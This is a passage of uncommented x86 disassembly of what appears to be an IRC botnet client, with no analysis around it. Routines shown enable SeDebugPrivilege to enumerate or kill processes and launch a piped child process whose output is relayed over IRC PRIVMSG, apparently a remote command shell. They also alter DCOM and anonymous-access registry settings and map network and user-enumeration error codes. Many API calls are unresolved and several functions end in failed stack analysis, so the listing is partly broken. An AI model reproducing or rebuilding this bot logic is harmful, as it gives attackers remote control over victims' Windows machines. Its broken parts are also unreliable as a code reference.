call sub_41B886
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 1Ch
loc_4193FB: ; CODE XREF: sub_4192E0+9Ej
; sub_4192E0+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41940E
push edi
call dword_4CB6E4
xor edi, edi
mov [ebp+var_4], edi
loc_41940E: ; CODE XREF: sub_4192E0+A5j
; sub_4192E0+120j
cmp [ebp+var_C], 0EAh
jz loc_41931F
cmp edi, esi
jz short loc_419426
push edi
call dword_4CB6E4
loc_419426: ; CODE XREF: sub_4192E0+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41B886
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4192E0 endp
; =============== S U B R O U T I N E =======================================
sub_419460 proc near ; CODE XREF: sub_418A99+41p
; sub_418C8F+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_419512
jz loc_41950B
cmp eax, 7Bh
ja short loc_4194D7
jz short loc_4194CD
cmp eax, 5
jz short loc_4194C3
cmp eax, 8
jz short loc_4194B9
cmp eax, 32h
jz short loc_4194AF
cmp eax, 35h
jz short loc_4194A5
cmp eax, 57h
jnz loc_419561
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194A5: ; CODE XREF: sub_419460+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194AF: ; CODE XREF: sub_419460+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194B9: ; CODE XREF: sub_419460+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194C3: ; CODE XREF: sub_419460+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194CD: ; CODE XREF: sub_419460+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194D7: ; CODE XREF: sub_419460+1Aj
sub eax, 7Ch
jz short loc_419504
sub eax, 7C8h
jz short loc_4194FD
dec eax
jz short loc_4194F3
dec eax
jnz short loc_419561
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194F3: ; CODE XREF: sub_419460+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194FD: ; CODE XREF: sub_419460+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_419504: ; CODE XREF: sub_419460+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_41950B: ; CODE XREF: sub_419460+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_419512: ; CODE XREF: sub_419460+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_41954B
jz short loc_419544
sub eax, 8ADh
jz short loc_419576
dec eax
dec eax
jz short loc_41953D
dec eax
jz short loc_419536
dec eax
dec eax
jnz short loc_419561
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_419536: ; CODE XREF: sub_419460+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_41953D: ; CODE XREF: sub_419460+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_419544: ; CODE XREF: sub_419460+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_41954B: ; CODE XREF: sub_419460+B9j
sub eax, 8CAh
jz short loc_41957D
sub eax, 17h
jz short loc_419576
sub eax, 25h
jz short loc_41956F
sub eax, 29h
jz short loc_419568
loc_419561: ; CODE XREF: sub_419460+35j
; sub_419460+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_419568: ; CODE XREF: sub_419460+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_41956F: ; CODE XREF: sub_419460+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_419576: ; CODE XREF: sub_419460+C2j
; sub_419460+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_41957D: ; CODE XREF: sub_419460+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_419582: ; CODE XREF: sub_419460+40j
; sub_419460+4Aj ...
push offset dword_4DB270
call sub_41B886
pop ecx
mov eax, offset dword_4DB270
pop ecx
retn
sub_419460 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419594 proc near ; CODE XREF: sub_401ACD+4782p
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_41D834
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
nop
call near ptr 26F0000h
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_41D834
lea eax, [ebp+var_718]
push eax
call sub_41D817
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4CB664
test eax, eax
jnz short loc_419624
mov esi, offset dword_4DB06C
push offset unk_439D84
push esi
call sub_41B886
pop ecx
pop ecx
jmp short loc_41964D
; ---------------------------------------------------------------------------
loc_419624: ; CODE XREF: sub_419594+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_419460
pop ecx
mov esi, offset dword_4DB06C
push eax
push offset dword_439D58
push esi
call sub_41B886
add esp, 14h
loc_41964D: ; CODE XREF: sub_419594+8Ej
mov eax, esi
pop esi
leave
retn
sub_419594 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419652 proc near ; CODE XREF: sub_416F1B+45p
; sub_416F1B+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
nop
call near ptr 27404D4h
push eax
call dword_4CB638
test eax, eax
jnz short loc_419671
leave
retn
; ---------------------------------------------------------------------------
loc_419671: ; CODE XREF: sub_419652+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4CB610
test eax, eax
jz short loc_4196AF
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_419698
or [ebp+var_8], 2
jmp short loc_41969C
; ---------------------------------------------------------------------------
loc_419698: ; CODE XREF: sub_419652+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_41969C: ; CODE XREF: sub_419652+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4CB6C0
mov esi, eax
loc_4196AF: ; CODE XREF: sub_419652+32j
push [ebp+var_4]
nop
call near ptr 2690934h
mov eax, esi
pop esi
leave
retn
sub_419652 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4196BD proc near ; CODE XREF: sub_401ACD+7916p
; sub_4198EC+74p
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4CB674, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_4198BC
cmp dword_4CB658, ebx
jz loc_4198BC
cmp dword_4CB568, ebx
jz loc_4198BC
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419652
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4CB674
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_4198AF
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4CB658
mov esi, dword_427068
test eax, eax
jz loc_4198AA
lea eax, [ebp+var_130]
push eax
push edi
call dword_4CB568
test eax, eax
jz loc_4198AA
mov edi, dword_427084
mov ebx, 1F0FFFh
loc_419781: ; CODE XREF: sub_4196BD+1E5j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_4197E8
mov [ebp+var_4], offset off_439DB0
loc_41978F: ; CODE XREF: sub_4196BD+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_10C]
push eax
call near ptr 2870000h
nop
test eax, eax
jz short loc_4197B7
add [ebp+var_4], 4
cmp [ebp+var_4], offset dword_439E10
jb short loc_41978F
jmp loc_419890
; ---------------------------------------------------------------------------
loc_4197B7: ; CODE XREF: sub_4196BD+E6j
push [ebp+var_128]
push 0
push ebx
call edi
test eax, eax
mov [ebp+var_4], eax
jz loc_419890
push 0
push eax
nop
call near ptr 2730B4Dh
test eax, eax
jnz loc_419890
loc_4197DE: ; CODE XREF: sub_4196BD+1B9j
push [ebp+var_4]
call esi
jmp loc_419890
; ---------------------------------------------------------------------------
loc_4197E8: ; CODE XREF: sub_4196BD+C9j
cmp [ebp+arg_C], eax
jnz loc_41987B
cmp [ebp+arg_4], eax
jz loc_419890
push [ebp+var_128]
push 8
call dword_4CB674
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_41983B
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_4CB514
push [ebp+var_128]
test eax, eax
jz short loc_419841
lea eax, [ebp+var_234]
jmp short loc_419847
; ---------------------------------------------------------------------------
loc_41983B: ; CODE XREF: sub_4196BD+15Cj
push [ebp+var_128]
loc_419841: ; CODE XREF: sub_4196BD+174j
lea eax, [ebp+var_10C]
loc_419847: ; CODE XREF: sub_4196BD+17Cj
push eax
lea eax, [ebp+var_554]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
jmp loc_4197DE
; ---------------------------------------------------------------------------
loc_41987B: ; CODE XREF: sub_4196BD+12Ej
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4198C3
loc_419890: ; CODE XREF: sub_4196BD+F5j
; sub_4196BD+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4CB568
test eax, eax
jnz loc_419781
xor ebx, ebx
loc_4198AA: ; CODE XREF: sub_4196BD+9Dj
; sub_4196BD+B3j
push [ebp+var_8]
call esi
loc_4198AF: ; CODE XREF: sub_4196BD+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419652
pop ecx
pop ecx
loc_4198BC: ; CODE XREF: sub_4196BD+3Aj
; sub_4196BD+46j ...
xor eax, eax
loc_4198BE: ; CODE XREF: sub_4196BD+22Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4198C3: ; CODE XREF: sub_4196BD+1D1j
push [ebp+var_128]
push 0
push ebx
call edi
push [ebp+var_8]
mov edi, eax
call esi
push 0
push edi
call near ptr 2730B4Dh
nop
test eax, eax
jnz short loc_4198E7
push edi
call esi
jmp short loc_4198BC
; ---------------------------------------------------------------------------
loc_4198E7: ; CODE XREF: sub_4196BD+223j
push 1
pop eax
jmp short loc_4198BE
sub_4196BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4198EC proc near ; DATA XREF: sub_401ACD+26CEo
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_439FB0
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41B886
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_41994B
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409A73
add esp, 14h
loc_41994B: ; CODE XREF: sub_4198EC+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_4196BD
add esp, 18h
test eax, eax
jnz short loc_419973
push offset unk_439F8C
jmp short loc_419978
; ---------------------------------------------------------------------------
loc_419973: ; CODE XREF: sub_4198EC+7Ej
push offset unk_439F68
loc_419978: ; CODE XREF: sub_4198EC+85j
lea eax, [ebp+var_298]
push eax
call sub_41B886
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_4199AB
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409A73
add esp, 14h
loc_4199AB: ; CODE XREF: sub_4198EC+9Dj
lea eax, [ebp+var_298]
push eax
call sub_4151AD
push [ebp+var_14]
call sub_40B413
pop ecx
pop ecx
push esi
nop
call near ptr 2710000h
pop edi
pop esi
sub_4198EC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4199CA proc near ; CODE XREF: sub_401ACD+78B4p
; sub_40B232+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
nop
call near ptr 26B0259h
mov esi, eax
test esi, esi
jz short loc_4199FC
push 0
push esi
call near ptr 2730B4Dh
nop
test eax, eax
jnz short loc_4199FC
push esi
xor edi, edi
nop
call near ptr 2690934h
loc_4199FC: ; CODE XREF: sub_4199CA+1Aj
; sub_4199CA+27j
mov eax, edi
pop edi
pop esi
retn
sub_4199CA endp
; ---------------------------------------------------------------------------
byte_419A01 db 56h, 33h, 0F6h ; DATA XREF: ___:004015EEo
dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 439DAC35h
dd 25E89000h, 0EB022875h
db 0E3h
; =============== S U B R O U T I N E =======================================
sub_419A21 proc near ; CODE XREF: sub_419A51+2Ap
; sub_419A89+7Ep ...
mov eax, dword_4DB8D8
push esi
mov esi, dword_427068
cmp eax, 0FFFFFFFFh
jz short loc_419A35
push eax
call esi
loc_419A35: ; CODE XREF: sub_419A21+Fj
mov eax, dword_4DB8E0
cmp eax, 0FFFFFFFFh
jz short loc_419A42
push eax
call esi
loc_419A42: ; CODE XREF: sub_419A21+1Cj
mov eax, dword_4DB8D4
cmp eax, 0FFFFFFFFh
jz short loc_419A4F
push eax
call esi
loc_419A4F: ; CODE XREF: sub_419A21+29j
pop esi
retn
sub_419A21 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A51 proc near ; CODE XREF: sub_401ACD+7605p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41AFE0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4DB8DC
nop
call near ptr 2720000h
test eax, eax
jnz short loc_419A84
call sub_419A21
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_419A84: ; CODE XREF: sub_419A51+28j
push 1
pop eax
leave
retn
sub_419A51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A89 proc near ; CODE XREF: sub_419B10+D3p
; sub_419B10+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset dword_43D808
push [ebp+arg_4]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_419ACC
push 7D0h
nop
call near ptr 26A0F44h
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_41B886
add esp, 10h
jmp short loc_419AE3
; ---------------------------------------------------------------------------
loc_419ACC: ; CODE XREF: sub_419A89+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_1 ; "%s"
push eax
call sub_41B886
add esp, 0Ch
loc_419AE3: ; CODE XREF: sub_419A89+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CB6A4
test eax, eax
jg short loc_419B0C
call sub_419A21
loc_419B0C: ; CODE XREF: sub_419A89+7Cj
xor eax, eax
leave
retn
sub_419A89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B10 proc near ; DATA XREF: sub_419C65+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4DB8E4
loc_419B28: ; CODE XREF: sub_419B10+79j
; sub_419B10+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_4DB8D8
nop
call near ptr 287078Ch
test eax, eax
jz loc_419BF6
cmp [ebp+var_4], edi
jnz short loc_419B8B
lea eax, [ebp+var_8]
push eax
push dword_4DB8D4
call near ptr 28703A4h
nop
test eax, eax
jz short loc_419B81
cmp [ebp+var_8], 103h
jnz loc_419C1A
loc_419B81: ; CODE XREF: sub_419B10+62j
push 0Ah
nop
call near ptr 26A0F44h
jmp short loc_419B28
; ---------------------------------------------------------------------------
loc_419B8B: ; CODE XREF: sub_419B10+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_419BA2
loc_419B92: ; CODE XREF: sub_419B10+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_419BF0
inc eax
cmp eax, [ebp+var_4]
jb short loc_419B92
loc_419BA2: ; CODE XREF: sub_419B10+80j
mov [ebp+var_4], esi
loc_419BA5: ; CODE XREF: sub_419B10+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_4DB8D8
nop
call near ptr 2730000h
test eax, eax
jz short loc_419C42
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_4DB918
call sub_419A89
add esp, 0Ch
jmp loc_419B28
; ---------------------------------------------------------------------------
loc_419BF0: ; CODE XREF: sub_419B10+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_419BA5
; ---------------------------------------------------------------------------
loc_419BF6: ; CODE XREF: sub_419B10+45j
push offset unk_43A038
push ebx
push dword_4DB918
call sub_419A89
push [ebp+arg_0]
call sub_40B413
add esp, 10h
push 1
call near ptr 2710000h
nop
loc_419C1A: ; CODE XREF: sub_419B10+6Bj
call sub_419A21
push offset unk_43A010
push ebx
push dword_4DB918
call sub_419A89
push [ebp+arg_0]
call sub_40B413
add esp, 10h
push edi
call near ptr 2710000h
nop
loc_419C42: ; CODE XREF: sub_419B10+C3j
push offset unk_439FE0
push ebx
push dword_4DB918
call sub_419A89
push [ebp+arg_0]
call sub_40B413
add esp, 10h
push edi
call near ptr 2710000h
nop
sub_419B10 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419C65 proc near ; CODE XREF: sub_401ACD+2508p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_419A21
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset dword_433C04
push esi
call dword_4CB710
test eax, eax
jz loc_419D5F
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, dword_4270FC
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi
test eax, eax
jz loc_419D5F
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi
test eax, eax
jz loc_419D5F
mov edi, dword_4270F8
push 3
push esi
push esi
push offset dword_4DB8DC
call edi
push eax
push [ebp+var_8]
call edi
push eax
call near ptr 2740000h
nop
test eax, eax
jz short loc_419D5F
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_41B590
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_41B590
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset dword_43D808
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call near ptr 2690C14h
nop
test eax, eax
jnz short loc_419D67
loc_419D5F: ; CODE XREF: sub_419C65+2Fj
; sub_419C65+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_419E15
; ---------------------------------------------------------------------------
loc_419D67: ; CODE XREF: sub_419C65+F8j
push [ebp+var_4]
mov edi, dword_427068
call edi
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4DB8D8, eax
mov eax, [ebp+var_8]
mov dword_4DB8E0, eax
mov eax, [ebp+var_2C]
mov dword_4DB8D4, eax
call edi
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4DB918, eax
jz short loc_419DA1
push [ebp+arg_4]
jmp short loc_419DA2
; ---------------------------------------------------------------------------
loc_419DA1: ; CODE XREF: sub_419C65+135j
push ebx
loc_419DA2: ; CODE XREF: sub_419C65+13Aj
push offset dword_4DB8E4
call sub_41B886
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_43A09C
call sub_40B0F7
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_43E598[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_419B10
push esi
push esi
nop
call near ptr 26B0000h
cmp eax, esi
mov dword_43E5A4[edi], eax
jnz short loc_419E13
call near ptr 26B0857h
nop
push eax
lea eax, [ebp+var_378]
push offset unk_43A068
push eax
call sub_41B886
lea eax, [ebp+var_378]
push eax
call sub_4151AD
add esp, 10h
loc_419E13: ; CODE XREF: sub_419C65+185j
xor eax, eax
loc_419E15: ; CODE XREF: sub_419C65+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_419C65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E1A proc near ; DATA XREF: sub_401ACD+2E0Co
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_419E61
call sub_419E7A
jmp short loc_419E66
; ---------------------------------------------------------------------------
loc_419E61: ; CODE XREF: sub_419E1A+3Ej
call sub_41A19E
loc_419E66: ; CODE XREF: sub_419E1A+45j
add esp, 10h
push [ebp+var_14]
call sub_40B413
pop ecx
push 0
call near ptr 2710000h
nop
sub_419E1A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E7A proc near ; CODE XREF: sub_419E1A+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4CB724, edi
jnz loc_419FAC
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CB6C4
test eax, eax
jnz short loc_419F05
mov ax, word_438E18
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB678
test eax, eax
jz short loc_419EE7
push offset dword_43A338
jmp short loc_419EEC
; ---------------------------------------------------------------------------
loc_419EE7: ; CODE XREF: sub_419E7A+64j
push offset dword_43A318
loc_419EEC: ; CODE XREF: sub_419E7A+6Bj
lea eax, [ebp+var_214]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB630
jmp short loc_419F18
; ---------------------------------------------------------------------------
loc_419F05: ; CODE XREF: sub_419E7A+36j
lea eax, [ebp+var_214]
push offset dword_43A2E8
push eax
call sub_41B886
pop ecx
pop ecx
loc_419F18: ; CODE XREF: sub_419E7A+89j
cmp [ebp+arg_C], edi
jnz short loc_419F37
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_419F37: ; CODE XREF: sub_419E7A+A1j
lea eax, [ebp+var_214]
push eax
call sub_4151AD
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CB6C4
test eax, eax
jnz short loc_419FA5
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_4CB678
test eax, eax
jz short loc_419F87
push offset dword_43A298
jmp short loc_419F8C
; ---------------------------------------------------------------------------
loc_419F87: ; CODE XREF: sub_419E7A+104j
push offset dword_43A264
loc_419F8C: ; CODE XREF: sub_419E7A+10Bj
lea eax, [ebp+var_214]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB630
jmp short loc_419FBF
; ---------------------------------------------------------------------------
loc_419FA5: ; CODE XREF: sub_419E7A+E2j
push offset dword_43A228
jmp short loc_419FB1
; ---------------------------------------------------------------------------
loc_419FAC: ; CODE XREF: sub_419E7A+13j
push offset dword_43A1F8
loc_419FB1: ; CODE XREF: sub_419E7A+130j
lea eax, [ebp+var_214]
push eax
call sub_41B886
pop ecx
pop ecx
loc_419FBF: ; CODE XREF: sub_419E7A+129j
cmp [ebp+arg_C], edi
jnz short loc_419FDE
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_419FDE: ; CODE XREF: sub_419E7A+148j
lea eax, [ebp+var_214]
push eax
call sub_4151AD
cmp dword_4CB74C, edi
pop ecx
jnz loc_41A159
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41A001: ; CODE XREF: sub_419E7A+2C3j
